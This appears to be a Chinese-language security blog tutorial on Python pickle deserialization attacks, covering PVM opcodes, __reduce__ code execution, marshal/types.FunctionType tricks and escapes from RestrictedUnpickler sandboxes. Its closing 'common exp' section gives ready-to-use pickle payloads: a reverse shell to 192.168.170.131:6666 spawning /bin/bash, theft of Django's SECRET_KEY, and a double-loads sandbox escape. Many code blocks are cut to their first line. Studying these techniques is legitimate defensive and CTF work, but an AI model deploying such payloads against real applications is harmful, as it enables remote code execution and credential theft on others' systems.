0x01 前言
首先是自己对于python方面的安全比较薄弱,而在近几天做到了pickle反序列化的题目,发现对于使用PVM指令构造pickle序列化数据流比较有意思,特此总结一下pickle相关的知识点
0x02 序列化与反序列化
方法和实例
环境:python v3.8.3
对于pickle模块,与序列化与反序列化相关的方法:
- pickle.dumps(object):序列化一个对象
- pickle.dump(文件描述符):从文件中获取对象
- pickle.load(bytes):对一串pickle数据流进行反序列化
- pickle.load(文件描述符):从文件中获取pickle序列化流
实例代码
1 | import pickle |
我们暂且先不考虑序列化的字节流内容是什么,但我们可以在序列化字节流中发现类名、属性、以及属性值。
序列化过程
用通俗的语言来描述序列化和反序列化过程:
1.序列化过程
- 从对象提取所有属性,并将属性转化为名值对
- 写入对象的类名
- 写入名值对
2.反序列化过程
- 获取pickle字节流
- 重建属性列表
- 根据类名创建一个新的对象
- 将属性列表中的属性赋值到新的对象中
注意:反序列化创建对象过程的上下文是当前环境,因此需要当前环境满足反序列化中使用的方法(也就是说,外部库的方法需要在上文中import,内置库的方法不需要,可自行索引)
0x03 PVM和pickle
pickle是什么
在0x02中所讲的部分是pickle在python中的实现接口(API),而对于pickle,我们需要知道其底层的一些东西。
pickle是一种栈语言,有不同的编写方式,基于一个轻量的PVM(Pickle Virtual Machine)
PVM 组成
了解PVM的组成对指令的理解有帮助作用。PVM由三部分组成
指令处理器:从流中读取opcode(操作码)和参数,并对其进行解释处理。重复这个动作,直到遇到
.
(表示结束)才停止。最终留在栈顶的值将被作为反序列化对象返回(因此我可以操控反序列化的结果,返回的不一定是一个对象,也可能是其他的数据类型)stack:由python的list实现,遵循栈的原则,被用来临时存储数据、参数以及对象
memo:有python的dict实现,为PVM的整个生命周期踢狗存储。可以理解为辅助stack存储操作的区域
当前用于解释pickling的协议一共有 5 中。版本越高,所需python越新
v0 版协议是原始的 “人类可读” 协议,并且向后兼容早期版本的 Python。
v1 版协议是较早的二进制格式,它也与早期版本的 Python 兼容。
v2 版协议是在 Python 2.3 中引入的。它为存储 new-style class 提供了更高效的机制。欲了解有关第 2 版协议带来的改进,请参阅 PEP 307。
v3 版协议添加于 Python 3.0。它具有对 bytes 对象的显式支持,且无法被 Python 2.x 打开。这是目前默认使用的协议,也是在要求与其他 Python 3 版本兼容时的推荐协议。
v4 版协议添加于 Python 3.4。它支持存储非常大的对象,能存储更多种类的对象,还包括一些针对数据格式的优化。有关第 4 版协议带来改进的信息,请参阅 PEP 3154。
我们待会要构造的pickle字节流就是使用v0协议
指令集
指令集汇总如下
1 | MARK = b'(' # push special markobject on stack |
可能我们在构造的时候不需要完全知道这么多,这里列举重要的如下:
(
:两个作用:1.和t
、l
、d
等配合组成相应类型的参数;2.作为命令执行到哪的标记(和R
有关)t
:将从t到标记(
的全部元素组合成一个元组,放入栈顶R
:通常和t搭配,先从栈中取出元组形式的参数,再寻找可调用函数(到(
停止),执行结果放回栈中d
:将从t到标记(
的全部元素以键值对的形式组合成一个字典,放入栈顶S
:后接字符串,需换行\n
I
:后接数字,需换行\n
c
:定义模块名和类名、方法名等。c<module>\n<method>\n
,两次\n}
:设置一个空字典s
:**弹出栈中3个元素(value,key,dict)**,以键值对的形式放入字典中b
:**弹出栈中2个元素(dict,object)**,赋值操作(通常放到最后进行赋值操作,相当于调用了__dict__.update()
)0
:弹出栈顶单元p<index>
:从stack中copy栈顶数据到memo区,需换行\n
g<index>
:从memo区取出对应index的数据放到栈顶,需换行\n
.
:弹出栈顶单元作为序列化的结果(可能是string等,不一定是一个class的实例),注意:如果在反序列化过程中执行的代码有回显的,直接就会输出,而不是最终要放到栈顶才能输出,栈顶的结果只是为了反序列化后便于赋值给某个变量
详细的指令说明如下:
实例1
假设我们要执行
os.system(‘whoami’)
构造如下:
1 | import pickle |
这个是最简单的payload了
实例2
上面的命令执行换一个写法,假如要执行getattr(getattr(dict,'get')(globals(), '__builtins__'), 'eval')('__import__("os").system("whoami")')
1 | cbuiltins |
下面会介绍常用情况下的构造方法和bypass方法(bypass导入模块的限制)
0x04 常规利用
利用1 __reduce__
在了解利用方法之前我们需要知道新式类(内置类)和旧式类(自建类)。具体可以参考bendawang师傅博客
对于python2,两者的表现形式是不同的,并且实例化的对象的性质也是不同的
1 | # 旧式 |
在python3中,两个是一样的。对于新式类,其具有__reduce__
(旧式类无)魔术方法,这个是实现反序列化的关键方法
__reduce__
我们可以通过这个魔术方法来告知应该如何进行序列化或反序列化,先看如下实例代码
1 | import pickle |
上述代码会执行os.system('ls')
,这个方法的关键点在返回值,返回值的类型可以是String或tuple,当返回值是tuple时,可以提供2到5个参数,我们重点关注前两个,第一个参数是callable,第二个参数则是callable的参数,以元组形式存放,因此我们必须这么写('arg1','arg2',...)
,当只有一个参数时,最后的逗号不能省略。因此我们就可以通过__reduce__
来执行任意代码了(这里的任意代码还不能是完整的代码块,只是一个方法)
还可以反弹shell
1 | import pickle |
问题
python是面向对象的语言,基于面向对象的特性,我们可以反序列化当前代码中出现的类(包括通过 import的方式引入的模块中的类,有外部类),还可以反序列化用types动态创建的匿名对象(下面的利用方法),但要注意的是,我们不能反序列化代码对象(code object),什么是代码对象呢?就是一个完整的代码块构成的对象,和正常的代码结构一样,如下
1 | def test(): |
test函数中的那一块就是code object,而我们不能利用pickle序列化代码对象
1 | pickle.dumps(test.__code__) #TypeError: cannot pickle 'code' object |
利用2 types.FunctionType
为了解决上述问题,我们需要一个支持序列化代码对象的模块marshal
该模块可以序列化代码对象,但是有了代码对象,这个代码对象如何作为函数来执行呢,也就是上述定义的test()函数如何才能执行呢
这时候就需要types模块的支持,该模块中types.FunctionType
方法可用来创建动态的匿名函数,有点类似于js中的匿名函数或箭头函数。
1 | types.FunctionType(marshal.loads(base64.b64decode(enc_bytes)), globals(), '')() |
上述payload即可构造匿名函数并执行。我们把marshal.dumps的序列化串base64编码美观一些,然后再解码并反序列化
实例
执行上面问题中的test()函数对于的代码对象
1 | import pickle |
但实际上,我们大部分时候需要直接根据types.FunctionType(marshal.loads(base64.b64decode(enc_bytes)), globals(), '')()
这个payload来写pickle:
1 | ctypes |
因此我们可以得出一个payload模板,只需要改变enc_bytes
部分即可
1 | import marshal |
0x05 常用技巧
1.内置builtins
,引入直接模块名
1 | # import os |
残留了一个问题,在python v3.8.3环境下,__builtin__
,__builtins__
是等价的,builtins
是需要import builtins
才能使用的,但是在pickle反序列化时,如果使用__builtins__
会报错 No module named '__builtins__'
,但是使用其他两个就可以?(待研究)
2.模块.类.方法
写法的转换
至于为什么这么说,我们先看一个例子。还是上面的
1 | getattr(getattr(dict,'get')(globals(), '__builtins__'), 'eval')('__import__("os").system("whoami")') |
其实是从下面来的
1 | getattr(dict.get(globals(), '__builtins__'), 'eval')('__import__("os").system("whoami")') |
dict是内置的type,因此我们引用dict.get的方式是builtins.dict.get
,而c
指令并不支持三层的<module>.<class>.<method>
,因此我们需要转换一下,因此如果在可以改写的条件下,尽量将<module>.<class>.<method>
的写法改写为
1 | builtins.getattr(builtins.dict, 'get') |
更改后的payload如下:
1 | cbuiltins |
本地测试成功执行:
3.创建对象(更新对象属性)
跟创建对象(构造某个对象)相关的指令有s
、b
、}
等,假设我们定义了如下类
1 | import pickle_test # 假设要import pickle_test这个自定义的包 |
初始时{'name' : 'diggid', 'age' : 10}
我们要改变值,可用如下payload
1 | cpickle_test |
}
:创建一个空字典,相当于创建一个空对象pickle_test.test
,可以为其中添加属性名值对'name'
为key,'change_name'
为value,指令s
,将这一对key+value添加进空字典- 第二对同理
- 最后指令
b
相当于__dict__.update()
完成属性的赋值
相关指令的作用
c
:导入类{
和s
:创建字典,该字典相当于属性名值对b
:弹出dict和object,用dict来更新object的属性名值对,从而创建出object
4.结合沙箱逃逸
1.限制module
前面说到的pickle面向对象的好用特性就是它能方便的引用任意外置模块,内置模块就更不用说了,这时候就会出现安全问题,所以pickle中定制了RestrictedUnpickler类来限制全局变量以及模块的引入,其中Unpickler.find_class()
这个方法里设置限制条件,实例代码如下
1 | import builtins |
假设我们上面的代码改变为限制模块只能使用sys
,即module == "sys"
,要如何沙箱逃逸来RCE呢,先看下面的流程
1 | import sys |
转换为pickle如下
1 | csys |
栈的情况(简化版):
1 | # c |
上述栈过程可以清楚的看到所有调用的模块都是sys
,因此可以实现沙箱逃逸
注意前5行的写法,为什么我们不直接先压'sys'
,然后压sys.modules
,最后s
将键值对压入字典呢?
1 | S'sys' |
这时会报错unpickling stack underflow
,回想一下前面所说的s
这个opcode的操作数需要3个。注意到s
指令是从栈顶开始取出3个单元的内容,依次为value、key、dict,如果按上面直接先压'sys'
入栈,其在第一个单元,再压入sys.modules
在第二个单元,因此执行s
不满足弹出3个单元,故会报错向下溢出(用pickletools.dir()会报错tries to pop 3 items from stack with only 2 items
)。如果是采用先压sys.modules
,然后我们p100
存,再压入'sys'
,再g100
将memo中存储的sys.modules
push回栈顶,由于sys.modules是dict,这时栈中刚好满足value(sys.modules)、key(‘sys’)、dict(sys.modules)就可以执行s
。
2.限制模块仅为__builtin__
且设置内置函数白名单
限制如下
1 | safe_builtins = ['getattr', 'globals', 'dict'] |
根据限制,我们不能够直接使用os.system
,所以我们需要从已知条件中导出。由于上下文中有pickle,可以在globals()中得到pickle模块,那么可以再次调用loads方法来执行os.system('whoami')
,也就是两层loads:
1 | getattr(globals()['pickle'],'loads')(bytes('cos\\nsystem\\n(S\\'whoami\\'\\ntR.'),'utf-8') |
转换成方便写pickle的格式
1 | getattr(getattr(dict,'get')(globals(),'pickle'),'loads')(bytes('cos\\nsystem\\n(S\\'whoami\\'\\ntR.'),'utf-8') |
写成pickle如下
1 | c__builtin__ |
也可以一下子从左到右顺着写完,但感觉上面的更好
5.访问类实例的方法
这一部分因能力有限,仅能在python2中使用apply方法,未能在python3中实现
对于os.popen('whoami').read()
需要访问类实例的具体方法的类似结构<module>.<class>.<method>
,而c
仅支持<module>.<class|method>
,因此我们没有办法直接处理。虽然我们能够使用getattr(os.popen('whoami'), 'read')
来获取os._wrap_close
实例的read()方法,但是我们并不能read(os.popen('whoami'))
这样使用。因此在python2中需要apply方法(注意:在python3中已经移除),我们可以执行apply(getattr(__builtin__.file, 'read'), [os.popen('whoami')])
(注意:在python3删去了__builtin__.file
),因此写成pickle如下
1 | cos |
在python3中没有找到一个很好的方法来替代apply,目前还没有找有简便的方法能直接实现os.popen('whoami').read()
,但是仍然能够使用上面说到的typs.FunctionType
来实现,但就比较麻烦了,感觉是小题大做了
1 | import pickle |
0x06 常用exp
这里存一些比较长的exp,方便用
反弹shell
1 | c__builtin__\ngetattr\np99\n(c__builtin__\ndict\nS'get'\ntRp100\n(csocket\n__dict__\np101\nS'AF_INET'\ntRp102\n0g100\n(g101\nS'SOCK_STREAM'\ntRp103\n0csocket\nsocket\n(g102\ng103\ntRp104\n0g99\n(g104\nS'connect'\ntR((S'192.168.170.131'\nI6666\nttR0cos\ndup2\n(g99\n(g104\nS'fileno'\ntRp105\n(tRI0\ntR0cos\ndup2\n(g105\n(tRI1\ntR0cos\ndup2\n(g105\n(tRI2\ntR0csubprocess\ncall\n((S'/bin/bash'\nS'-i'\nltR. |
Django
获取配置中的‘SECRET_KEY
1 | cdjango.conf\nsettings\np100\n0c__builtin__\ngetattr\n(g100\nS'SECRET_KEY'\ntRp101\n0g101\n |
两次loads沙箱逃逸
1 | c__builtin__\nglobals\n(tRp100\n0c__builtin__\ngetattr\n(c__builtin__\ndict\nS'get'\ntRp101\n(g100\nS'pickle'\ntRp102\n0c__builtin__\nbytes\n(S'cos\\nsystem\\n(S'whoami'\\ntR.'\nS'utf-8'\ntRp103\n0c__builtin__\ngetattr\n(g102\nS'loads'\ntR(g103\ntR. |
0x07 参考
https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_WP.pdf
https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf
https://adrianstoll.com/computer-insecurity/python-in-a-pickle.html#5
https://www.anquanke.com/post/id/188981#h3-11
https://xz.aliyun.com/t/2289#toc-1
https://www.leavesongs.com/PENETRATION/zhangyue-python-web-code-execute.html